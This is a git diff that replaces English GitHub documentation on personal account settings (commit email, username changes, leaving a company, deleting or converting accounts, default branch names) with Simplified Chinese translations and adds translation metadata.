`noreply` 电子邮件地址。 {% endnote %} -If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.location.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %} +如果使用 {% data variables.product.product_name %} 的 `noreply` 电子邮件地址进行提交,然后[更改用户名](/articles/changing-your-github-username),则这些提交将不会与你在 {% data variables.product.product_location %} 上的帐户相关联。 如果使用的是基于 ID 的 {% data variables.product.product_name %} `noreply` 地址,则不适用。 有关详细信息,请参阅“[更改 {% data variables.product.prodname_dotcom %} 用户名](/articles/changing-your-github-username)。”{% endif %} -## Setting your commit email address on {% data variables.product.prodname_dotcom %} +## 在 {% data variables.product.prodname_dotcom %} 上设置提交电子邮件地址 {% data reusables.files.commit-author-email-options %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.add_and_verify_email %} -{% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %} -{% data reusables.user-settings.keeping_your_email_address_private %}{% endif %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} {% data reusables.user-settings.add_and_verify_email %} {% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %} {% data reusables.user-settings.keeping_your_email_address_private %}{% endif %} -## Setting your commit email address in Git +## 在 Git 中设置您的提交电子邮件地址 -You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.location.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address. +可以使用 `git config` 命令更改与 Git 提交关联的电子邮件地址。 设置的新电子邮件地址将在从命令行推送到 {% data variables.product.product_location %} 的任何未来提交中显示。 在您更改提交电子邮件地址之前进行的任何提交仍与之前的电子邮件地址关联。 -### Setting your email address for every repository on your computer +### 为计算机上的每个仓库设置电子邮件地址 {% data reusables.command_line.open_the_multi_os_terminal %} 2. {% data reusables.user-settings.set_your_email_address_in_git %} ```shell - $ git config --global user.email "YOUR_EMAIL" + $ git config --global user.email "email@example.com" ``` 3. {% data reusables.user-settings.confirm_git_email_address_correct %} ```shell @@ -85,17 +87,17 @@ You can use the `git config` command to change the email address you associate w ``` 4. {% data reusables.user-settings.link_email_with_your_account %} -### Setting your email address for a single repository +### 为一个仓库设置电子邮件地址 -{% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.location.product_location %}. +{% data variables.product.product_name %} 使用在您的本地 Git 配置中设置的电子邮件地址将从命令行推送的提交与您在 {% data variables.product.product_location %} 上的帐户相关联。 -You can change the email address associated with commits you make in a single repository. This will override your global Git configuration settings in this one repository, but will not affect any other repositories. +您可以更改与您在一个仓库中所进行的提交关联的电子邮件地址。 此操作将覆盖这一个仓库中的全局 Git 配置设置,但不会影响任何其他仓库。 {% data reusables.command_line.open_the_multi_os_terminal %} -2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits. +2. 将当前工作目录更改为您想要在其中配置与 Git 提交关联的电子邮件地址的本地仓库。 3. {% data reusables.user-settings.set_your_email_address_in_git %} ```shell - $ git config user.email "YOUR_EMAIL" + $ git config user.email "email@example.com" ``` 4. {% data reusables.user-settings.confirm_git_email_address_correct %} ```shell diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md new file mode 100644 index 0000000000..ff4df24a63 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md @@ -0,0 +1,47 @@ +--- +title: 关于离开公司的最佳实践 +intro: 如果你的 {% data variables.product.product_name %} 帐户同时用于个人和工作用途,那么你在离开公司或组织的时候需要注意一些问题。 +redirect_from: +- /articles/best-practices-for-leaving-your-company +- /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company +- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Leaving your company +ms.openlocfilehash: e7de0fa01082731ae54e988ed49310b5ce6afbea +ms.sourcegitcommit: 8544f120269257d01adfe4a27b62f08fc8691727 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/02/2022 +ms.locfileid: "147444643" +--- +在离开公司之前,请确保在个人帐户中更新以下信息: + +- 通过[在电子邮件设置中删除公司电子邮件地址](/articles/changing-your-primary-email-address)来取消其验证。 然后,您可以在不验证的情况下重新添加它,以保留与您的帐户相关联的所有相关提交。 +- [将你的主电子邮件地址](/articles/changing-your-primary-email-address)从公司电子邮件地址更改为个人电子邮件地址。 +- [验证新的主电子邮件地址](/articles/verifying-your-email-address)。 +- [更改你的 GitHub 用户名](/articles/changing-your-github-username)以删除对公司或组织的任何引用(如有必要)。 +- 如果为个人帐户启用了双重 (2FA) 身份验证,请确保由自己(而不是你的公司)控制你已配置的 2FA 身份验证方法。 有关详细信息,请参阅“[配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)”。 + +## 离开组织 + +如果你在使用属于组织的存储库,则应[删除自己的组织成员身份](/articles/removing-yourself-from-an-organization)。 请注意,如果你是组织所有者,应先将[组织的所有权转让](/articles/transferring-organization-ownership)给其他人。 + +除非使用的是 {% data variables.product.prodname_managed_user %},否则即使离开组织,你仍然可以访问你的个人帐户。 有关 {% data variables.product.prodname_emus %} 的详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于 {% data variables.product.prodname_emus %}]({% ifversion not ghec%}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %}”。{% else %}。{% endif %} + +## 删除与个人仓库的职业关联 + +如果你在属于其他人的个人帐户的存储库中与其进行了专业协作,则应从这些存储库中[删除自己的协作者身份](/articles/removing-yourself-from-a-collaborator-s-repository)。 + +- [停止关注与工作相关的存储库](https://github.com/watching)。 您不再需要这些通知了! +- [转让你拥有的存储库](/articles/how-to-transfer-a-repository),在你离开后,其他人可能需要继续使用该存储库处理工作。 +- [删除与你的工作相关且属于你的分支](/articles/deleting-a-repository)。 不用担心,删除复刻不会删除上游仓库。 +- 删除您的计算机上可能存在的复刻本地副本: + +```shell +$ rm -rf work_directory +``` diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md index aad324c45b..dbcb75bc72 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md @@ -1,6 +1,6 @@ --- -title: Changing your GitHub username -intro: 'You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %} if your instance uses built-in authentication{% endif %}.' +title: 更改 GitHub 用户名 +intro: '如果您的实例使用内置身份验证{% endif %},则可以在 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %} 上更改帐户的用户名。' redirect_from: - /articles/how-to-change-your-username - /articles/changing-your-github-user-name @@ -17,19 +17,24 @@ versions: topics: - Accounts shortTitle: Change your username +ms.openlocfilehash: 28f4d0ea1a16fed0e44f34312abfd507e2f991b7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164758' --- - {% ifversion ghec or ghes %} {% note %} {% ifversion ghec %} -**Note**: Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your username for {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +注意:{% data variables.product.prodname_emu_enterprise %} 成员不能更改用户名。 企业的 IdP 管理员控制您的 {% data variables.product.product_name %} 用户名。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。 {% elsif ghes %} -**Note**: If you sign into {% data variables.location.product_location %} with LDAP credentials or single sign-on (SSO), only your local administrator can change your username. For more information about authentication methods for {% data variables.product.product_name %}, see "[Authenticating users for {% data variables.location.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)." +注意:如果你使用 LDAP 凭据或单一登录 (SSO) 登录 {% data variables.product.product_location %},则只有你的本地管理员才能更改你的用户名。 有关 {% data variables.product.product_name %} 身份验证方法的详细信息,请参阅“[对 {% data variables.product.product_location %} 的用户进行身份验证](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)”。 {% endif %} @@ -37,61 +42,55 @@ shortTitle: Change your username {% endif %} -## About username changes +## 关于用户名更改 -You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available. +您可以将用户名更改为当前未使用的其他用户名。{% ifversion fpt or ghec %} 如果所需的用户名不可用,请考虑其他名称或唯一变体。 使用数字、连字符或其他拼写可能有助于您找到仍可用的类似用户名。 -If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page. +如果你拥有该用户名的商标,可以在我们的[商标政策](/free-pro-team@latest/github/site-policy/github-trademark-policy)页面上找到有关提出商标投诉的更多信息。 -If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see "[Changing your username](#changing-your-username)."{% endif %} +如果您没有该名称的商标,则可以选择其他用户名或保留当前用户名。 {% data variables.contact.github_support %} 无法为您释放不可用的用户名。 有关详细信息,请参阅“[更改用户名](#changing-your-username)”。{% endif %} -After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect. +更改用户名后,您的旧用户名即可供其他人申请使用。 对旧用户名下仓库的大多数引用会自动更改为新用户名。 不过,指向您个人资料的某些链接不会自动重定向。 -{% data variables.product.product_name %} cannot set up redirects for: -- [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) using your old username -- Links to [gists](/articles/creating-gists) that include your old username +{% data variables.product.product_name %} 无法为以下各项设置重定向: +- 使用旧用户名的 [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) +- 包含旧用户名的 [gists](/articles/creating-gists) 链接 {% ifversion fpt or ghec %} -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %} +如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,则无法更改用户名。 {% data reusables.enterprise-accounts.emu-more-info-account %} {% endif %} -## Repository references +## 仓库引用 -After you change your username, {% data variables.product.product_name %} will automatically redirect references to your repositories. -- Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change. -- Command line pushes from your local repository clones to the old remote tracking URLs will continue to work. +您更改用户名后,{% data variables.product.product_name %} 自动将引用重定向到您的仓库。 +- 指向现有仓库的 Web 链接仍然有效。 进行更改后,可能需要几分钟时间才能完成。 +- 从本地仓库克隆推送到旧的远程跟踪 URL 的命令行仍然有效。 -If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." +如果旧用户名的新所有者创建与您的仓库同名的仓库,则会覆盖重定向条目,并且您的重定向将停止工作。 由于这种可能性,我们建议您在更改用户名后更新所有现有的远程仓库 URL。 有关详细信息,请参阅“[管理远程存储库](/github/getting-started-with-github/managing-remote-repositories)”。 -## Links to your previous profile page +## 指向以前的个人资料页面的链接 -After changing your username, links to your previous profile page, such as `https://{% data variables.command_line.backticks %}/previoususername`, will return a 404 error. We recommend updating any links to your account on {% data variables.location.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}. +更改用户名后,指向以前的配置文件页面的链接(例如 `https://{% data variables.command_line.backticks %}/previoususername`)将返回 404 错误。 我们建议从其他位置更新指向 {% data variables.product.product_location %} 帐户的所有链接{% ifversion fpt or ghec %},例如您的 LinkedIn 或 Twitter 个人资料{% endif %}。 -## Your Git commits +## 您的 Git 提交 -{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see "[Setting your commit email address](/articles/setting-your-commit-email-address)." +{% ifversion fpt or ghec %}与你的 {% data variables.product.product_name %} 提供的 `noreply` 电子邮件地址关联的 Git 提交不会归于新的用户名,并且不会在你的贡献图中显示。{% endif %}如果你的 Git 提交与你已[添加到 GitHub 帐户](/articles/adding-an-email-address-to-your-github-account)的其他电子邮件地址关联,{% ifversion fpt or ghec %}包括基于 ID 的 {% data variables.product.product_name %} 提供的 `noreply` 电子邮件地址,{% endif %}它们在你更改用户名后将继续归于你并在你的贡献图中显示。 有关设置电子邮件地址的详细信息,请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address)”。 -## Your gists +## 更改用户名 -After changing your username, the URLs to any public or secret gists will also change and previous links to these will return a 404 error. We recommend updating the links to these gists anywhere you may have shared them. +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.account_settings %} +3. 在“更改用户名”部分中,单击“更改用户名”。 + ![更改用户名按钮](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %} +4. 阅读有关更改用户名的警告。 如果你仍要更改用户名,请单击“我了解,让我们更改用户名”。 + ![更改用户名警告按钮](/assets/images/help/settings/settings-change-username-warning-button.png) +5. 键入新的用户名。 + ![新用户名字段](/assets/images/help/settings/settings-change-username-enter-new-username.png) +6. 如果你选择的用户名可用,请单击“更改用户名”。 如果您选择的用户名不可用,可以尝试其他用户名或您看到的建议之一。 + ![更改用户名警告按钮](/assets/images/help/settings/settings-change-my-username-button.png) {% endif %} -## Changing your username +## 延伸阅读 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -3. In the "Change username" section, click **Change username**. - ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %} -4. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**. - ![Change Username warning button](/assets/images/help/settings/settings-change-username-warning-button.png) -5. Type a new username. - ![New username field](/assets/images/help/settings/settings-change-username-enter-new-username.png) -6. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see. - ![Change Username warning button](/assets/images/help/settings/settings-change-my-username-button.png) -{% endif %} - -## Further reading - -- "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %} -- "[{% data variables.product.prodname_dotcom %} Username Policy](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %} +- [我的提交为什么链接到错误的用户?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user){% ifversion fpt or ghec %} +- [{% data variables.product.prodname_dotcom %} 用户名策略](/free-pro-team@latest/github/site-policy/github-username-policy){% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md new file mode 100644 index 0000000000..c16f5cfac8 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md @@ -0,0 +1,75 @@ +--- +title: 将用户转换为组织 +redirect_from: +- /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization +- /articles/explaining-the-account-transformation-warning +- /articles/converting-a-user-into-an-organization +- /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization +- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization +intro: 可以将个人帐户转换为组织。 这样可以对属于组织的仓库设置更细化的权限。 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: User into an organization +ms.openlocfilehash: 641172d82581ad83bd7281fed941171ce6c817b7 +ms.sourcegitcommit: 2298858ef68ffb4e79490ddbb9d6a64081dfbc39 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/21/2022 +ms.locfileid: "147389391" +--- +{% warning %} + +警告:在将用户转换为组织之前,请记住以下几点。 + +* 你将无法再登录转换后的个人帐户。 +* 你将无法再创建或修改转换后的个人帐户所拥有的 Gist。 +* 组织无法转换回用户。 +* 不会将 SSH 密钥、OAuth 标记、作业配置文件、反应和关联的用户信息传输到组织。 这只适用于被转换的个人帐户,而不适用于该个人帐户的任何协作者。 +* 使用转换后的个人帐户所做的任何提交将不再链接到该帐户。 提交本身将保持不变。 +* 转换后的个人帐户所做的任何现有注释将不再链接至该帐户。 注释本身将保持不变,但会与 `ghost` 用户关联。 +* 将删除使用转换后的个人帐户创建的任何专用存储库的分支。 +{% endwarning %} + +{% ifversion fpt or ghec or ghes %} +## 保留个人帐户并手动创建新组织 + +如果希望组织的名称与目前用于个人帐户的名称相同,或者要保留个人帐户的信息不变,则必须创建一个新组织,然后将存储库转让给该组织,而不是将个人帐户转换为组织。 + +1. 要保留当前个人帐户名称以供个人使用,[请将个人帐户名称更改为](/articles/changing-your-github-username)一个好听的新名称。 +2. 使用个人帐户的原始名称[创建新组织](/articles/creating-a-new-organization-from-scratch)。 +3. [将存储库转移到](/articles/transferring-a-repository)新的组织帐户。{% endif %} + +## 自动将个人帐户转换为组织 + +也可以将个人帐户直接转换为组织。 转换帐户: + - 按原样保留仓库,无需手动将其转让给另一个帐户 + - 自动邀请协作者加入具有与其之前相同权限的团队 {% ifversion fpt or ghec %}- 对于 {% data variables.product.prodname_pro %} 上的个人帐户,自动将计费转换到[付费的 {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts),无需重新输入付款信息、调整计费周期或随时双倍付款{% endif %} + +1. 创建新的个人帐户,转换后您将用它来登录 GitHub 以及访问组织和仓库。 +2. [退出组织](/articles/removing-yourself-from-an-organization)(你要转换的个人帐户已加入的组织)。 +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.organizations %} +5. 在“转换帐户”下,单击“将 转换为组织”。 + ![组织转换按钮](/assets/images/help/settings/convert-to-organization.png) +6. 在 Account Transformation Warning(帐户转换警告)对话框中,查看并确认转换。 请注意,此框中的信息与本文顶部的警告信息相同。 + ![转换警告](/assets/images/help/organizations/organization-account-transformation-warning.png) +7. 在“Transform your user into an organization(将用户转换为组织)”页面的“Choose an organization owner(选择组织所有者)”下,选择您在前面创建的备用个人帐户或您信任的其他用户来管理组织。 + ![添加组织所有者页面](/assets/images/help/organizations/organization-add-owner.png) +8. 选择新组织的订阅,并在提示时输入帐单信息。 +9. 单击“创建组织”。 +10. 登录在第一步中创建的新个人帐户,然后使用上下文切换器访问新组织。 + +{% tip %} + +提示:将个人帐户转换为组织时,我们会将属于该帐户的存储库中的协作者作为外部协作者添加到新组织。 然后,你可以根据需要邀请外部协作者成为新组织的成员。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)”。 + +{% endtip %} + +## 延伸阅读 +- [设置团队](/articles/setting-up-teams) {% ifversion fpt or ghec %}- [邀请用户加入组织](/articles/inviting-users-to-join-your-organization){% endif %} +- [访问组织](/articles/accessing-an-organization) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md new file mode 100644 index 0000000000..1c6a1012b0 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md @@ -0,0 +1,55 @@ +--- +title: 删除个人帐户 +intro: 可随时删除 {% data variables.product.product_name %} 上的个人帐户。 +redirect_from: +- /articles/deleting-a-user-account +- /articles/deleting-your-user-account +- /github/setting-up-and-managing-your-github-user-account/deleting-your-user-account +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account +- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Delete your personal account +ms.openlocfilehash: 4c02698cbe312d3f13553e49dd324fde4f3ad7bb +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145164757" +--- +删除个人帐户将删除帐户所拥有的所有存储库、专用存储库的分支、Wiki、问题、拉取请求和页面。 {% ifversion fpt or ghec %} 在其他用户拥有的存储库中创建的问题和拉取请求以及所做的评论不会被删除,而是与我们的 [Ghost 用户](https://github.com/ghost)关联。{% else %}在其他用户拥有的存储库中创建的问题和拉取请求以及所做的评论不会被删除。{% endif %} + +{% ifversion fpt or ghec %} 当您删除帐户时,我们会停止对您计费。 与该帐户关联的电子邮件地址可用于 {% data variables.product.product_location %} 上不同的帐户。 90 天后,该帐户名称也可供其他任何人用于新帐户。 {% endif %} + +如果你是组织的唯一所有者,则必须先将所有权转让给其他人或删除该组织,然后才能删除个人帐户。 如果组织中有其他所有者,则必须先从组织中删除自己,然后才能删除个人帐户。 + +有关详细信息,请参阅: +- [转让组织所有权](/articles/transferring-organization-ownership) +- [删除组织帐户](/articles/deleting-an-organization-account) +- [从组织中删除自己](/articles/removing-yourself-from-an-organization/) + +## 备份帐户数据 + +在删除个人帐户之前,请复制帐户所拥有的所有存储库、专用分支、Wiki、问题和拉取请求。 + +{% warning %} + +警告:删除个人帐户后,GitHub 将无法还原内容。 + +{% endwarning %} + +## 删除个人帐户 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.account_settings %} +3. 在帐户设置页面底部的“删除帐户”下,单击“删除帐户”。 在删除个人帐户之前: + - 如果您是组织中的唯一所有者,则必须将所有权转让给其他人或删除您的组织。 + - 如果组织中有其他组织所有者,则必须将自己从组织中删除。 + ![帐户删除按钮](/assets/images/help/settings/settings-account-delete.png) +4. 在“确认要执行此操作”对话框中,完成相关步骤以确认你了解删除帐户的后果:![删除帐户确认对话框](/assets/images/help/settings/settings-account-deleteconfirm.png) {% ifversion fpt or ghec %}- 重新确认帐户拥有的所有存储库、专用存储库分支、wiki、问题、拉取请求和 {% data variables.product.prodname_pages %} 站点都将删除,计费将立即结束,并且 90 天后任何人都可在 {% data variables.product.product_name %} 上使用你的用户名。 + {% else %}- 重新考虑一下,您帐户拥有的所有仓库、私有仓库分支、wiki、议题、提取请求和网页都将被删除,并且任何人将可在 {% data variables.product.product_name %} 上使用您的用户名。 + {% endif %}- 在第一个字段中,输入您的 {% data variables.product.product_name %} 用户名或电子邮件。 + - 在第二个字段中,键入提示短语。 diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md index 25c69e1a94..ec8bc5e53e 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md @@ -1,6 +1,6 @@ --- -title: Managing the default branch name for your repositories -intro: 'You can set the default branch name for new repositories that you create on {% data variables.location.product_location %}.' +title: 管理仓库的默认分支名称 +intro: '您可以为在 {% data variables.product.product_location %} 上创建的新资料库设置默认分支名称。' versions: fpt: '*' ghes: '*' @@ -13,24 +13,29 @@ redirect_from: - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories shortTitle: Manage default branch name +ms.openlocfilehash: a3943f32860f55becaa840f7ca40c13ba87b5ce2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145193760' --- -## About management of the default branch name +## About the default branch name -When you create a new repository on {% data variables.location.product_location %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories you create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." +当您在 {% data variables.product.product_location %} 上创建一个新仓库时,仓库将包含一个分支,它就是默认分支。 您可以更改 {% data variables.product.product_name %} 用于您新建仓库中默认分支的名称。 有关默认分支的详细信息,请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)”。 {% data reusables.branches.change-default-branch %} -## Setting the default branch name +## 设置默认分支名称 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.repo-tab %} -3. Under "Repository default branch", click **Change default branch name now**. - ![Override button](/assets/images/help/settings/repo-default-name-button.png) -4. Type the default name that you would like to use for new branches. - ![Text box for entering default name](/assets/images/help/settings/repo-default-name-text.png) -5. Click **Update**. - ![Update button](/assets/images/help/settings/repo-default-name-update.png) +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.repo-tab %} +3. 在“存储库默认分支”下,单击“立即更改默认分支名称”。 + ![“替代”按钮](/assets/images/help/settings/repo-default-name-button.png) +4. 键入要用于新分支的默认名称。 + ![用于输入默认名称的文本框](/assets/images/help/settings/repo-default-name-text.png) +5. 单击“更新”。 + ![“更新”按钮](/assets/images/help/settings/repo-default-name-update.png) -## Further reading +## 延伸阅读 -- "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)" +- “[管理组织中存储库的默认分支名称](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md new file mode 100644 index 0000000000..fbb24c1fcd --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md @@ -0,0 +1,53 @@ +--- +title: 合并多个个人帐户 +intro: 如果工作和个人分别使用不同的帐户,您可以合并这些帐户。 +redirect_from: +- /articles/can-i-merge-two-accounts +- /articles/keeping-work-and-personal-repositories-separate +- /articles/merging-multiple-user-accounts +- /github/setting-up-and-managing-your-github-user-account/merging-multiple-user-accounts +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts +- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Merge multiple personal accounts +ms.openlocfilehash: 71e2b280fad682f3ee8e9ac85141aedc3bde3d06 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145164791" +--- +{% tip %} + +{% ifversion ghec %} + +提示:{% data variables.product.prodname_emus %} 允许企业通过标识提供者 (IdP) 为其成员预配唯一的个人帐户。 有关详细信息,请参阅“[关于企业托管用户](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users)”。 对于其他用例,我们建议仅使用一个个人帐户来管理个人和专业存储库。 + +{% else %} + +提示:我们建议仅使用一个个人帐户来管理个人和专业存储库。 + +{% endif %} + +{% endtip %} + +{% warning %} + +**警告:** +- 组织和存储库访问权限不能在帐户之间转让。 如果要删除的帐户具有现有访问权限,则组织所有者或存储库管理员将需要邀请您要保留的帐户。 +- 无法将使用 GitHub 提供的 `noreply` 